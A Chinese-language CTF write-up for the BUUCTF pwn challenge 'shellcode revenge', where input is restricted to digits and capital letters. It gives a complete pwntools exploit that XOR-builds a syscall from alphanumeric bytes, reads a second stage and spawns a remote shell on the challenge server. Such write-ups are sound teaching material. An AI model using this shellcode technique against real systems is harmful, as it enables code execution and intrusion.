【pwn】shellcode revenge --0~9,A~Z字符的shellcode
查一下保护
拖进ida看主要逻辑
这里的代码逻辑为mmap开辟一段有执行的地址,可以写入shellcode,但这次写入的shellcode有限制 if ( buf > 90 || buf <= 47 || buf > 57 && buf <= 64 ) break;这里的限制shellcode的十六进制数对应的字符只能是0~9,A~Z,这些十六进制数对应的shellcode基本都是xor
我们gdb调试一下看一下寄存器的值
我们在这里下个断点,然后输入一堆22222222222222222222222222222222222
可以发现这里rax=0,rdi=0,rsi=地址,rdx=地址,这里可以构造read函数,然后就可以读入shellcode,可以绕过字符限制,但这里syscall的十六进制的代码是0f 05
代码如下:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
shellcode="syscall"
print(asm(shellcode))
可以发现,显然是不满足上面所限制的十六进制数,但这里可以用异或来达到shellcode的构造,exp如下:
from pwn import *
context(arch='amd64',os='linux',log_level='debug')
p = remote("node4.buuoj.cn",26157)
#p = process('./shellcodere')
payload = b'\x33\x42\x38' #33 42 38 xor eax, DWORD PTR [rdx+0x38]
payload += b'\x31\x42\x30' #31 42 30 xor DWORD PTR [rdx+0x30], eax 将\x4e\x44异或成syscall的十六进制数
payload += b'\x33\x42\x37' #33 42 38 xor eax, DWORD PTR [rdx+0x38] ,eax置0,为调用read函数准备
payload += b'\x31\x42\x38' #31 42 38 xor DWORD PTR [rdx+0x38], eax 减syscall后面代码变成nop,为后面执行shellcode做准备
payload += b'\x59'*(0x30-len(payload)) #59 pop rcx
payload += b'\x4e\x44'*2 #syscall 0x4e^0x41=0xf 0x44^0x41=0x5
payload += b'A'*8 #xor key
p.sendlineafter("magic\n",payload)
pause()
p.sendline(b'\x90'*0x60+asm(shellcraft.sh()))
p.interactive()